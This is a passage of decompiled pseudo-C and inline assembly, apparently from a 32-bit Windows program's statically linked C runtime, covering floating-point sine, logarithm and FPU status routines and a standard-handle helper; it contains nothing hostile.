goto addr_40abb0_13;
} else {
__asm__("fstp st0");
__asm__("fld tword [0x4122ca]");
eax7 = reinterpret_cast<void**>(2);
goto addr_40abe1_19;
}
addr_40ab6f_26:
__asm__("fldlg2 ");
__asm__("fxch st0, st1");
__asm__("fyl2x ");
goto addr_40ab75_5;
addr_40ab68_18:
if (reinterpret_cast<unsigned char>(eax7) & 0x80000000)
goto addr_40abb0_13; else
goto addr_40ab6f_26;
}

void** fun_40b62c() {
 uint32_t eax1;

if (!(eax1 & 0x80000)) {

__asm__("fadd qword [0x412360]");
return 0;
} else {
return 0;
}
}

void fun_40aea2(void** ecx) {

int32_t v2;
int32_t ebp3;

v2 = *reinterpret_cast<int32_t*>(ebp3 - 32);
fun_4093d6(v2);
return;
}

struct s89 {
signed char[4] pad4;
uint32_t f4;
};

struct s90 {
signed char[4] pad4;
void** f4;
};

void** fun_40b645() {
void** eax1;
struct s89* edx2;
struct s90* edx3;

eax1 = reinterpret_cast<void**>(edx2->f4 & 0x7ff00000);

if (eax1 == 0x7ff00000) {
__asm__("shld eax, ecx, 0xb");
__asm__("fld tword [esp]");
return edx3->f4;
} else {
__asm__("fld qword [edx]");
return eax1;
}
}
void** fun_40b790(int32_t ecx, void* a2) {
void* ebp3;
void** ecx4;
uint32_t edx5;
int32_t eax6;
int32_t v7;
int32_t v8;
int32_t v9;
int32_t v10;
void** eax11;

ebp3 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

__asm__("fstp qword [ebp-0x8]");
ecx4 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp3) + 0xffffffe0);
eax11 = fun_40be7f(ecx4, edx5, ecx4, reinterpret_cast<int32_t>(ebp3) + 8, eax6, ecx, v7, v8,
v9, v10);
__asm__("fld qword [ebp-0x8]");
if (a2 != 0x27f) {
__asm__("fldcw word [ebp+0x8]");
}
return eax11;
}

struct s91 {
signed char[8] pad8;
void*** f8;
};

struct s92 {
signed char[12] pad12;
void**** fc;
};

void fun_40bb2a(void** ecx);

uint32_t fun_40bab4(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
int32_t ebp8;
void** v9;
struct s91* ebp10;
int32_t ebp11;
void** ecx12;
struct s92* ebp13;
void** eax14;
 uint32_t esi15;
void** v16;
uint32_t eax17;
int32_t ebp18;
int32_t ebp19;

fun_4038a0(ecx, 0x414bb0, 12, __return_address());

*reinterpret_cast<uint32_t*>(ebp8 - 28) = 0;
v9 = *ebp10->f8;
fun_407c38(v9);
*reinterpret_cast<uint32_t*>(ebp11 - 4) = 0;
ecx12 = reinterpret_cast<void**>((reinterpret_cast<unsigned char>(**ebp13->fc) & 63) * 48);
if (!(*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cast<signed
char>(**ebp13->fc) >> 6) * 4 + 0x417040)) + reinterpret_cast<unsigned char>(ecx12) + 40) &
1)) {
eax14 = fun_4060e8(ecx12, 0x414bb0, 12, __return_address(), a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax14) = reinterpret_cast<void**>(9);
esi15 = 0xffffffff;
} else {
v16 = **ebp13->fc;
eax17 = fun_40bbdd(ecx12, v16, 0x4bb0, 12, __return_address());
ecx12 = v16;
esi15 = eax17;
}
*reinterpret_cast<uint32_t*>(ebp18 - 28) = esi15;
*reinterpret_cast<int32_t*>(ebp19 - 4) = -2;
fun_40bb2a(ecx12);
fun_4038f0(ecx12, 0x414bb0, 12, __return_address(), a2);
goto 0x414bb0;
}

int32_t fun_40c0a2(void** ecx, void** a2, void** a3, void** a4) {

void** ebx5;
uint32_t esi6;
uint32_t eax7;
int32_t edi8;
void** eax9;
void* v10;
int32_t edx11;
int16_t ax12;
int16_t fpu_status_word13;
uint32_t eax14;
uint32_t v15;
 uint32_t v16;
uint32_t eax17;
uint32_t v18;
uint32_t v19;
void** eax20;
int32_t eax21;

ebx5 = a2;
esi6 = reinterpret_cast<unsigned char>(ebx5) & 31;
if (!(*reinterpret_cast<unsigned char*>(&ebx5) & 8) || !(*reinterpret_cast<unsigned
char*>(&a4) & 1)) {
eax7 = reinterpret_cast<unsigned char>(ebx5) & reinterpret_cast<unsigned char>(a4);
if (!(*reinterpret_cast<unsigned char*>(&eax7) & 4)) {
if (!(*reinterpret_cast<unsigned char*>(&ebx5) & 1) || !(*reinterpret_cast<unsigned
char*>(&a4) & 8)) {
if (*reinterpret_cast<unsigned char*>(&ebx5) & 2 && *reinterpret_cast<unsigned
char*>(&a4) & 16) {
edi8 = 0;
if (*reinterpret_cast<unsigned char*>(&ebx5) & 16) {
edi8 = 1;
}
ecx = a3;
__asm__("fld qword [ecx]");
__asm__("fldz ");
__asm__("fucompp ");
if (!__intrinsic()) {
edi8 = 1;
} else {
__asm__("fld qword [ecx]");
__asm__("fstp qword [esp]");
fun_40c667(ecx, ecx, reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 - 4);
eax9 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(v10) + 0xfffffa00);
__asm__("fst qword [ebp-0x10]");
__asm__("fldz ");
if (reinterpret_cast<signed char>(eax9) >= reinterpret_cast<signed
char>(0xfffffbce)) {
__asm__("fcompp ");
edx11 = 0;
ax12 = fpu_status_word13;
if (!(*reinterpret_cast<unsigned char*>(reinterpret_cast<int32_t>(&ax12) + 1)
& 65)) {
edx11 = 1;
}
ecx = reinterpret_cast<void**>(0xfffffc03);
 eax14 = v15 & 15 | 16;
*reinterpret_cast<int16_t*>(reinterpret_cast<int32_t>(&v16) + 2) =
*reinterpret_cast<int16_t*>(&eax14);
if (reinterpret_cast<signed char>(eax9) < reinterpret_cast<signed
char>(0xfffffc03)) {
ecx = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(0xfffffc03) -
reinterpret_cast<unsigned char>(eax9));
eax17 = v18;
do {
if (*reinterpret_cast<unsigned char*>(&v19) & 1 && !edi8) {
++edi8;
}
eax17 = eax17 >> 1;
v19 = eax17;
if (*reinterpret_cast<unsigned char*>(&v16) & 1) {
eax17 = eax17 | 0x80000000;
v19 = eax17;
}
v16 = v16 >> 1;
--ecx;
} while (ecx);
}
__asm__("fld qword [ebp-0x10]");
if (edx11) {
__asm__("fchs ");
}
} else {
__asm__("fmulp st1, st0");
edi8 = 1;
}
__asm__("fstp qword [eax]");
}
if (edi8) {
fun_409f4c(ecx, 16);
ecx = reinterpret_cast<void**>(16);
}
esi6 = esi6 & 0xfffffffd;
}
} else {
fun_409f4c(ecx, 8);
ecx = reinterpret_cast<void**>(0xc00);
eax20 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a4) &
reinterpret_cast<unsigned char>(0xc00));
if (!eax20) {
 ecx = a3;
__asm__("fldz ");
__asm__("fcomp qword [ecx]");
if (__intrinsic()) {
addr_40c179_28:
__asm__("fld qword [0x412d90]");
goto addr_40c17f_29;
} else {
addr_40c171_30:
__asm__("fld qword [0x412d90]");
goto addr_40c181_31;
}
} else {
if (eax20 == 0x400) {
ecx = a3;
__asm__("fldz ");
__asm__("fcomp qword [ecx]");
if (__intrinsic())
goto addr_40c179_28;
__asm__("fld qword [0x412d98]");
goto addr_40c181_31;
}
if (eax20 == 0x800)
goto addr_40c137_36; else
goto addr_40c11d_37;
}
}
} else {
fun_409f4c(ecx, 4);
ecx = reinterpret_cast<void**>(4);
esi6 = esi6 & 0xfffffffb;
}
} else {
fun_409f4c(ecx, 1);
ecx = reinterpret_cast<void**>(1);
esi6 = esi6 & 0xfffffff7;
}
addr_40c25f_40:
if (*reinterpret_cast<unsigned char*>(&ebx5) & 16 && *reinterpret_cast<unsigned
char*>(&a4) & 32) {
fun_409f4c(ecx, 32);
esi6 = esi6 & 0xffffffef;
}
eax21 = 0;
 *reinterpret_cast<unsigned char*>(&eax21) = reinterpret_cast<uint1_t>(esi6 == 0);
return eax21;
addr_40c17f_29:
__asm__("fchs ");
goto addr_40c181_31;
addr_40c137_36:
ecx = a3;
__asm__("fldz ");
__asm__("fcomp qword [ecx]");
if (!__intrinsic())
goto addr_40c171_30;
__asm__("fld qword [0x412d98]");
goto addr_40c17f_29;
addr_40c11d_37:
if (!reinterpret_cast<int1_t>(eax20 == 0xc00)) {
addr_40c183_44:
esi6 = esi6 & 0xfffffffe;
goto addr_40c25f_40;
} else {
ecx = a3;
__asm__("fldz ");
__asm__("fcomp qword [ecx]");
__asm__("fld qword [0x412d98]");
if (!__intrinsic()) {
addr_40c181_31:
__asm__("fstp qword [ecx]");
goto addr_40c183_44;
} else {
goto addr_40c17f_29;
}
}
}

struct s93 {
signed char[16] pad16;
int32_t* f10;
};

void fun_40bb2a(void** ecx) {

int32_t v2;
struct s93* ebp3;

v2 = *ebp3->f10;
fun_407c5b(v2);
 return;
}

int32_t SetStdHandle = 0x1552e;

uint32_t fun_407c7e(void** ecx, void** a2, void** a3, void** a4, void** a5) {
int1_t cf6;
int32_t edi7;
uint32_t ebx8;
void** edi9;
void** esi10;
void** ebx11;
void** ebp12;
void** eax13;
void** eax14;
uint32_t eax15;
void** eax16;
void** esi17;
int32_t v18;
void** esi19;

if (reinterpret_cast<signed char>(a2) < reinterpret_cast<signed char>(0) || ((cf6 =

reinterpret_cast<unsigned char>(a2) < reinterpret_cast<unsigned char>(g417240), !cf6) || ((edi7
= reinterpret_cast<signed char>(a2) >> 6, ebx8 = (reinterpret_cast<unsigned char>(a2) & 63) *
48, (*reinterpret_cast<unsigned char*>(ebx8 +
reinterpret_cast<int32_t>(*reinterpret_cast<void**>(edi7 * 4 + 0x417040)) + 40) & 1) == 0) ||
*reinterpret_cast<int32_t*>(ebx8 + reinterpret_cast<int32_t>(*reinterpret_cast<void**>(edi7 * 4
+ 0x417040)) + 24) == -1))) {
eax13 = fun_4060e8(ecx, edi9, esi10, ebx11, ebp12, __return_address(), a2, a3, a4, a5);
*reinterpret_cast<void***>(eax13) = reinterpret_cast<void**>(9);
eax14 = fun_4060d5(ecx, edi9, esi10, ebx11, ebp12, __return_address(), a2, a3, a4, a5);
*reinterpret_cast<void***>(eax14) = reinterpret_cast<void**>(0);
eax15 = 0xffffffff;
} else {
eax16 = fun_404c48();
if (!reinterpret_cast<int1_t>(eax16 == 1))
goto addr_407ce4_4;
esi17 = a2;
if (!esi17)
goto addr_407cdb_6; else
goto addr_407cc7_7;
}
addr_407d0a_8:
return eax15;
 addr_407cdb_6:
v18 = 0xf6;
addr_407cde_9:
SetStdHandle(v18, 0);
goto addr_407ce4_4;
addr_407cc7_7:
esi19 = esi17 - 1;
if (!esi19) {
v18 = 0xf5;
goto addr_407cde_9;
} else {
if (esi19 - 1) {
addr_407ce4_4:
*reinterpret_cast<uint32_t*>(ebx8 +
reinterpret_cast<int32_t>(*reinterpret_cast<void**>(edi7 * 4 + 0x417040)) + 24) = 0xffffffff;
eax15 = 0;
goto addr_407d0a_8;
} else {
v18 = 0xf4;
goto addr_407cde_9;
}
}
}

int32_t fun_40bd54(int32_t a1, void** a2, int32_t a3, void** a4, void* a5) {
int32_t eax6;
int16_t ax7;
int16_t fpu_status_word8;
int16_t ax9;
int16_t fpu_status_word10;
int16_t ax11;
int16_t fpu_status_word12;
int16_t ax13;
int16_t fpu_status_word14;

__asm__("fld qword [ebp+0x8]");

__asm__("fabs ");
if (!reinterpret_cast<int1_t>(a4 == 0x7ff00000)) {
if (!reinterpret_cast<int1_t>(a4 == 0xfff00000) || a3) {
addr_40bde8_3:
__asm__("fstp st0");
if (!reinterpret_cast<int1_t>(a2 == 0x7ff00000)) {
if (!reinterpret_cast<int1_t>(a2 == 0xfff00000) || a1) {
addr_40be7b_5:
 return 0;
} else {
__asm__("fld qword [ebp+0x10]");
__asm__("fstp qword [esp]");
eax6 = fun_40bcea(0x7ff00000);
__asm__("fldz ");
__asm__("fld qword [ebp+0x10]");
__asm__("fcom st0, st1");
ax7 = fpu_status_word8;
if (*reinterpret_cast<unsigned char*>(reinterpret_cast<int32_t>(&ax7) + 1) & 65) {
__asm__("fcomp st0, st1");
if (__intrinsic()) {
__asm__("fstp st0");
__asm__("fld1 ");
} else {
if (eax6 == 1) {
__asm__("fstp st0");
__asm__("fld qword [0x412da0]");
}
}
} else {
__asm__("fstp st1");
__asm__("fstp st0");
__asm__("fld qword [0x412d90]");
if (eax6 == 1) {
__asm__("fchs ");
}
}
}
} else {
if (a1)
goto addr_40be7b_5;
__asm__("fldz ");
__asm__("fld qword [ebp+0x10]");
__asm__("fcom st0, st1");
ax9 = fpu_status_word10;
if (!(*reinterpret_cast<unsigned char*>(reinterpret_cast<int32_t>(&ax9) + 1) & 65))
goto addr_40bd7e_15; else
goto addr_40be0b_16;
}
} else {
__asm__("fld1 ");
__asm__("fcom st0, st1");
if (__intrinsic()) {
 __asm__("fcom st0, st1");
ax11 = fpu_status_word12;
__asm__("fstp st1");
if (!(*reinterpret_cast<unsigned char*>(reinterpret_cast<int32_t>(&ax11) + 1) & 65)) {
__asm__("fstp st0");
__asm__("fld qword [0x412d90]");
goto addr_40be79_20;
}
} else {
__asm__("fstp st1");
__asm__("fstp st0");
__asm__("fldz ");
}
}
} else {
if (a3)
goto addr_40bde8_3;
__asm__("fld1 ");
__asm__("fcom st0, st1");
if (__intrinsic())
goto addr_40bd8d_24; else
goto addr_40bd7e_15;
}
addr_40be76_25:
addr_40be79_20:
__asm__("fstp qword [eax]");
goto addr_40be7b_5;
addr_40bd7e_15:
__asm__("fstp st1");
__asm__("fstp st0");
__asm__("fld qword [0x412d90]");
goto addr_40be76_25;
addr_40be0b_16:
__asm__("fcomp st0, st1");
if (__intrinsic()) {
__asm__("fstp st0");
__asm__("fld1 ");
goto addr_40be79_20;
}
addr_40bd8d_24:
__asm__("fcom st0, st1");
ax13 = fpu_status_word14;
__asm__("fstp st1");
if (!(*reinterpret_cast<unsigned char*>(reinterpret_cast<int32_t>(&ax13) + 1) & 65)) {
 __asm__("fstp st0");
__asm__("fldz ");
goto addr_40be79_20;
}
}

unsigned char fun_40c7c8(void** a1, void** a2, void** a3, void** a4) {
uint32_t ecx5;
uint16_t ax6;
uint32_t ecx7;
uint32_t ecx8;
uint32_t eax9;
uint32_t ecx10;
uint32_t eax11;
uint32_t ecx12;
uint32_t eax13;
uint32_t eax14;
uint32_t eax15;
uint32_t eax16;
int32_t v17;
int32_t eax18;

*reinterpret_cast<uint16_t*>(&ecx5) = *reinterpret_cast<uint16_t*>(&a2 + 2);

ax6 = reinterpret_cast<uint16_t>(*reinterpret_cast<uint16_t*>(&ecx5) & 0x7ff0);
if (ax6 != 0x7ff0) {
ecx7 = static_cast<uint32_t>(*reinterpret_cast<uint16_t*>(&ecx5)) & 0x8000;
if (ax6 || !(reinterpret_cast<unsigned char>(a2) & 0xfffff) && !a1) {
__asm__("fld qword [ebp+0x8]");
__asm__("fldz ");
__asm__("fucompp ");
if (__intrinsic()) {
ecx8 = -ecx7;
eax9 = (ecx8 - (ecx8 + reinterpret_cast<uint1_t>(ecx8 < ecx8 +
reinterpret_cast<uint1_t>(!!ecx7))) & 0xffffff08) + 0x100;
return *reinterpret_cast<unsigned char*>(&eax9);
} else {
ecx10 = -ecx7;
eax11 = (ecx10 - (ecx10 + reinterpret_cast<uint1_t>(ecx10 < ecx10 +
reinterpret_cast<uint1_t>(!!ecx7))) & 0xffffffe0) + 64;
return *reinterpret_cast<unsigned char*>(&eax11);
}
} else {
ecx12 = -ecx7;
 eax13 = (ecx12 - (ecx12 + reinterpret_cast<uint1_t>(ecx12 < ecx12 +
reinterpret_cast<uint1_t>(!!ecx7))) & 0xffffff90) + 0x80;
return *reinterpret_cast<unsigned char*>(&eax13);
}
} else {
__asm__("fld qword [ebp+0x8]");
__asm__("fstp qword [esp]");
eax14 = fun_40c76a(ecx5, ecx5);
eax15 = eax14 - 1;
if (!eax15) {
return 0;
} else {
eax16 = eax15 - 1;
if (!eax16) {
v17 = 4;
} else {
if (!(eax16 - 1)) {
v17 = 2;
} else {
return 1;
}
}
eax18 = v17;
return *reinterpret_cast<unsigned char*>(&eax18);
}
}
}

void fun_40c282(void** a1, void** a2, void** a3, uint32_t a4, void** a5, void** a6) {
fun_40c2a5(a1, a2, a3, a4, a5, a6, 0);
return;
}

int32_t fun_409f0d(void** ecx) {

int16_t fpu_status_word2;

__asm__("fclex ");
return static_cast<int32_t>(fpu_status_word2);
}

uint32_t fun_40c73b(void** ecx, void** a2) {

uint16_t v3;

__asm__("fld qword [ebp+0x8]");

 __asm__("fstp qword [ebp-0x8]");
__asm__("fld qword [ebp-0x8]");
return static_cast<uint32_t>(v3) & 0x800f;
}

int32_t fun_40d039(int32_t a1, int32_t a2) {

int32_t eax3;

*reinterpret_cast<uint16_t*>(&eax3) =
reinterpret_cast<uint16_t>(*reinterpret_cast<uint16_t*>(reinterpret_cast<int32_t>(&a2) + 2) &
0x7ff0);
if (*reinterpret_cast<uint16_t*>(&eax3) != 0x7ff0) {
__asm__("fld qword [ebp+0x8]");
} else {
eax3 = a2;
__asm__("shld eax, ebx, 0xb");
__asm__("fld tword [ebp-0xa]");
}
return eax3;
}

struct s94 {
signed char[12] pad12;
signed char fc;
};

struct s95 {
signed char[14] pad14;
signed char fe;
};

struct s96 {
int32_t f0;
int32_t f4;
};

struct s97 {
signed char[8] pad8;
int32_t f8;
};

struct s98 {
int32_t f0;
int32_t f4;
};

struct s99 {
int32_t f0;
int32_t f4;
};

struct s100 {
signed char[16] pad16;
int32_t f10;
};

struct s101 {
int32_t f0;
int32_t f4;
};

void** fun_40ceb8(void** ecx, int32_t a2, int32_t a3, int32_t a4) {

int32_t ebp5;
int32_t ebp6;
int1_t zf7;
void** eax8;
int32_t ebp9;
int32_t ebp10;
uint16_t fpu_status_word11;
int32_t ebp12;
int32_t ebp13;
int32_t ebp14;
int16_t ax15;
int16_t fpu_status_word16;
uint16_t ax17;
int32_t ebp18;
int32_t ebp19;
int16_t ax20;
int16_t fpu_status_word21;
int32_t ebp22;
struct s94* ebx23;
int32_t ebp24;
int32_t ebp25;
int32_t ebp26;
uint32_t v27;
int32_t ebp28;
void* ebp29;
void* ebp30;
 int32_t edi31;
int32_t esi32;
struct s96* esi33;
struct s97* ebp34;
struct s98* edi35;
int32_t ebp36;
struct s99* esi37;
struct s100* ebp38;
struct s101* edi39;
int32_t ebp40;

*reinterpret_cast<unsigned char*>(ebp5 - 0x2c8) = reinterpret_cast<unsigned

char>(*reinterpret_cast<unsigned char*>(ebp6 - 0x2c8) & 0xfe);
zf7 = g417278 == 0;
if (!zf7)
goto addr_40cf17_3;
__asm__("fst qword [ebp+0xfffffd30]");
*reinterpret_cast<signed char*>(&eax8) = *reinterpret_cast<signed char*>(ebp9 - 0x90);
if (!*reinterpret_cast<signed char*>(&eax8)) {
addr_40cef2_5:
*reinterpret_cast<uint16_t*>(&eax8) =
reinterpret_cast<uint16_t>(*reinterpret_cast<uint16_t*>(ebp10 - 0xa4) & 32);
if (*reinterpret_cast<uint16_t*>(&eax8) || (*reinterpret_cast<uint16_t*>(&eax8) =
reinterpret_cast<uint16_t>(fpu_status_word11 & 32), *reinterpret_cast<uint16_t*>(&eax8) == 0))
{
addr_40cf17_3:
__asm__("fldcw word [ebp+0xffffff5c]");
__asm__("wait ");
return eax8;
} else {
*reinterpret_cast<int32_t*>(ebp12 - 0x8e) = 8;
}
} else {
if (*reinterpret_cast<signed char*>(&eax8) == -1) {
if ((*reinterpret_cast<uint16_t*>(ebp13 - 0x2ca) & 0x7ff0) == 0x7ff0) {
addr_40cf78_9:
*reinterpret_cast<int32_t*>(ebp14 - 0x8e) = 3;
__asm__("fld qword [0x413ae0]");
__asm__("fxch st0, st1");
__asm__("fscale ");
__asm__("fstp st1");
__asm__("fld st0");
__asm__("fabs ");
__asm__("fcomp qword [0x413ad0]");
 __asm__("wait ");
ax15 = fpu_status_word16;
if (!(*reinterpret_cast<uint1_t*>(reinterpret_cast<int32_t>(&ax15) + 1) |
*reinterpret_cast<uint1_t*>(reinterpret_cast<int32_t>(&ax15) + 1))) {
__asm__("fmul qword [0x413af0]");
}
} else {
goto addr_40cef2_5;
}
} else {
if (*reinterpret_cast<signed char*>(&eax8) == -2) {
ax17 = reinterpret_cast<uint16_t>(*reinterpret_cast<uint16_t*>(ebp18 - 0x2ca) &
0x7ff0);
if (!ax17) {
*reinterpret_cast<int32_t*>(ebp19 - 0x8e) = 4;
__asm__("fld qword [0x413ae8]");
__asm__("fxch st0, st1");
__asm__("fscale ");
__asm__("fstp st1");
__asm__("fld st0");
__asm__("fabs ");
__asm__("fcomp qword [0x413ad8]");
__asm__("wait ");
ax20 = fpu_status_word21;
if (*reinterpret_cast<uint1_t*>(reinterpret_cast<int32_t>(&ax20) + 1)) {
__asm__("fmul qword [0x413af8]");
}
} else {
if (ax17 == 0x7ff0)
goto addr_40cf78_9;
goto addr_40cef2_5;
}
} else {
if (!*reinterpret_cast<signed char*>(&eax8))
goto addr_40cf17_3;
*reinterpret_cast<int32_t*>(ebp22 - 0x8e) = *reinterpret_cast<signed char*>(&eax8);
}
}
}
ebx23 = reinterpret_cast<struct
s94*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(ebp24 - 0x94)) + 1);
*reinterpret_cast<struct s94**>(ebp25 - 0x8a) = ebx23;
if (*reinterpret_cast<unsigned char*>(ebp26 - 0x2c8) & 1) {
addr_40cfd6_21:
 __asm__("fstp qword [ebp-0x76]");
v27 = reinterpret_cast<uint32_t>(static_cast<int32_t>((*reinterpret_cast<struct
s95**>(ebp28 - 0x94))->fe));
eax8 = fun_40be7f(ecx, v27, reinterpret_cast<int32_t>(ebp29) + 0xffffff72,
reinterpret_cast<int32_t>(ebp30) - 0xa4, edi31, esi32, __return_address(), a2, a3, a4);
__asm__("fld qword [ebp-0x76]");
goto addr_40cf17_3;
} else {
esi33 = reinterpret_cast<struct s96*>(&ebp34->f8);
edi35 = reinterpret_cast<struct s98*>(ebp36 - 0x86);
edi35->f0 = esi33->f0;
edi35->f4 = esi33->f4;
if (ebx23->fc == 1)
goto addr_40cfd6_21;
}
esi37 = reinterpret_cast<struct s99*>(&ebp38->f10);
edi39 = reinterpret_cast<struct s101*>(ebp40 - 0x7e);
edi39->f0 = esi37->f0;
edi39->f4 = esi37->f4;
goto addr_40cfd6_21;
}

void** fun_40d10f(int32_t a1) {

void** eax2;
void* v3;
int1_t zf4;
int1_t zf5;
void* fpu_status_word6;
void* fpu_status_word7;
int1_t zf8;
uint16_t fpu_status_word9;
void** eax10;

eax2 = fun_40b645();
v3 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) + 4);
__asm__("wait ");
__asm__("fnstcw word [esp]");
if (zf4) {
if (reinterpret_cast<unsigned char>(eax2) & 0xfffff || a1) {
addr_40d1a0_4:
return eax2;
} else {
__asm__("fstp st0");
__asm__("fld tword [0x412320]");
 eax2 = reinterpret_cast<void**>(1);
zf5 = g417278 == 0;
if (!zf5) {
addr_40b69e_6:
if (v3 != 0x27f) {
__asm__("fldcw word [esp]");
}
} else {
eax2 = fun_40b7a7("sin", v3);
goto addr_40d1a0_4;
}
}
return eax2;
}
if (v3 != 0x27f) {
__asm__("fldcw word [0x412368]");
}
__asm__("fsin ");
__asm__("wait ");
*reinterpret_cast<void**>(&eax2) = fpu_status_word6;
if (*reinterpret_cast<int1_t*>(&eax2 + 1)) {
__asm__("fld tword [0x41236a]");
__asm__("fxch st0, st1");
do {
__asm__("fprem1 ");
__asm__("wait ");
*reinterpret_cast<void**>(&eax2) = fpu_status_word7;
} while (*reinterpret_cast<int1_t*>(&eax2 + 1));
__asm__("fstp st1");
__asm__("fsin ");
}
zf8 = g417278 == 0;
if (!zf8)
goto addr_40b69e_6;
*reinterpret_cast<void**>(&eax2) = v3;
if (*reinterpret_cast<void**>(&eax2) != 0x27f)
goto addr_40b6b5_19;
addr_40b6d3_20:
return eax2;
addr_40b6b5_19:
*reinterpret_cast<void**>(&eax2) =
reinterpret_cast<void*>(reinterpret_cast<uint16_t>(*reinterpret_cast<void**>(&eax2)) & 32);
if (!*reinterpret_cast<void**>(&eax2) || (*reinterpret_cast<void**>(&eax2) =
reinterpret_cast<void*>(fpu_status_word9 & 32), *reinterpret_cast<void**>(&eax2) == 0)) {
 __asm__("fldcw word [esp]");
goto addr_40b6d3_20;
} else {
eax10 = fun_40b7a7("sin", v3);
return eax10;
}
}

struct s102 {
int32_t f0;
int32_t f4;
};

struct s103 {
signed char[4] pad4;
int32_t f4;
};

struct s104 {
int32_t f0;
int32_t f4;
};

struct s105 {
signed char[4] pad4;
int32_t f4;
};

struct s106 {
int32_t f0;
int32_t f4;
};

struct s107 {
int32_t f0;
int32_t f4;
};

void** fun_40d1ce(int32_t a1) {

uint16_t ax2;
uint16_t ax3;
int32_t* edi4;
int32_t* esi5;
struct s102* edi6;
struct s103* edi7;
struct s104* esi8;
struct s105* esi9;
struct s106* edi10;
struct s107* esi11;
int32_t edx12;
void** eax13;
void** eax14;
void* v15;
int1_t zf16;
void* fpu_status_word17;
void* fpu_status_word18;
int1_t zf19;
uint16_t fpu_status_word20;
void** eax21;

__asm__("pextrw eax, xmm0, 0x3");

ax2 = reinterpret_cast<uint16_t>(reinterpret_cast<uint16_t>(ax3 & 0x7fff) - 0x3030);
if (ax2 <= 0x10c5) {
__asm__("movlpd xmm1, [0x414350]");
__asm__("mulsd xmm1, xmm0");
__asm__("movlpd xmm2, [0x414358]");
__asm__("cvtsd2si edx, xmm1");
__asm__("addsd xmm1, xmm2");
__asm__("movlpd xmm3, [0x414370]");
__asm__("subsd xmm1, xmm2");
__asm__("movapd xmm2, [0x414360]");
__asm__("mulsd xmm3, xmm1");
__asm__("unpcklpd xmm1, xmm1");
*edi4 = *esi5;
edi6 = reinterpret_cast<struct s102*>(&edi7->f4);
esi8 = reinterpret_cast<struct s104*>(&esi9->f4);
__asm__("movapd xmm5, [0x414340]");
__asm__("mulpd xmm2, xmm1");
__asm__("subsd xmm0, xmm3");
__asm__("mulsd xmm1, [0x414378]");
__asm__("subsd xmm4, xmm3");
__asm__("movlpd xmm7, [eax+0x8]");
__asm__("unpcklpd xmm0, xmm0");
edi6->f0 = esi8->f0;
edi10 = reinterpret_cast<struct s106*>(&edi6->f4);
esi11 = reinterpret_cast<struct s107*>(&esi8->f4);
__asm__("subsd xmm4, xmm2");
__asm__("mulpd xmm5, xmm0");
 __asm__("subpd xmm0, xmm2");
__asm__("movapd xmm6, [0x414320]");
__asm__("mulsd xmm7, xmm4");
__asm__("subsd xmm3, xmm4");
__asm__("mulpd xmm5, xmm0");
__asm__("mulpd xmm0, xmm0");
__asm__("subsd xmm3, xmm2");
__asm__("movapd xmm2, [eax]");
__asm__("subsd xmm1, xmm3");
__asm__("movlpd xmm3, [eax+0x18]");
__asm__("addsd xmm2, xmm3");
__asm__("subsd xmm7, xmm2");
__asm__("mulsd xmm2, xmm4");
__asm__("mulpd xmm6, xmm0");
__asm__("mulsd xmm3, xmm4");
__asm__("mulpd xmm2, xmm0");
__asm__("mulpd xmm0, xmm0");
__asm__("addpd xmm5, [0x414330]");
__asm__("mulsd xmm4, [eax]");
__asm__("addpd xmm6, [0x414310]");
__asm__("mulpd xmm5, xmm0");
edi10->f0 = esi11->f0;
__asm__("addsd xmm3, [eax+0x8]");
__asm__("mulsd xmm1, xmm7");
edi10->f4 = esi11->f4;
__asm__("addsd xmm4, xmm3");
__asm__("addpd xmm6, xmm5");
__asm__("movlpd xmm5, [eax+0x8]");
__asm__("subsd xmm5, xmm3");
__asm__("subsd xmm3, xmm4");
__asm__("addsd xmm1, [eax+0x10]");
__asm__("mulpd xmm6, xmm2");
__asm__("addsd xmm5, xmm0");
__asm__("addsd xmm3, xmm7");
__asm__("addsd xmm1, xmm5");
__asm__("addsd xmm1, xmm3");
__asm__("addsd xmm1, xmm6");
__asm__("unpckhpd xmm6, xmm6");
__asm__("addsd xmm1, xmm6");
__asm__("addsd xmm4, xmm1");
__asm__("movlpd [esp+0x4], xmm4");
__asm__("fld qword [esp+0x4]");
return 0x413b10 + ((reinterpret_cast<uint32_t>(edx12 + 0x1c7600) & 63) << 5);
}
if (reinterpret_cast<int16_t>(ax2) <= reinterpret_cast<int16_t>(0x10c5)) {
*reinterpret_cast<uint16_t*>(&eax13) = reinterpret_cast<uint16_t>(ax2 >> 4);
if (*reinterpret_cast<uint16_t*>(&eax13) != 0xcfd) {
__asm__("movlpd xmm3, [0x414380]");
__asm__("mulsd xmm3, xmm0");
__asm__("subsd xmm3, xmm0");
__asm__("mulsd xmm3, [0x414388]");
__asm__("movlpd [esp+0x4], xmm0");
__asm__("fld qword [esp+0x4]");
return eax13;
} else {
__asm__("mulsd xmm0, [0x414390]");
__asm__("movlpd [esp+0x4], xmm0");
__asm__("fld qword [esp+0x4]");
return eax13;
}
}
eax14 = fun_40b645();
v15 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) + 4);
__asm__("wait ");
__asm__("fnstcw word [esp]");
if (ax2 != 0x10c5)
goto addr_40d11f_22;
if (reinterpret_cast<unsigned char>(eax14) & 0xfffff || a1) {
addr_40d1a0_24:
return eax14;
} else {
__asm__("fstp st0");
__asm__("fld tword [0x412320]");
eax14 = reinterpret_cast<void**>(1);
zf16 = g417278 == 0;
if (!zf16) {
addr_40b69e_26:
if (v15 != 0x27f) {
__asm__("fldcw word [esp]");
}
} else {
eax14 = fun_40b7a7("sin", v15);
goto addr_40d1a0_24;
}
}
return eax14;
addr_40d11f_22:
if (v15 != 0x27f) {
 __asm__("fldcw word [0x412368]");
}
__asm__("fsin ");
__asm__("wait ");
*reinterpret_cast<void**>(&eax14) = fpu_status_word17;
if (*reinterpret_cast<int1_t*>(&eax14 + 1)) {
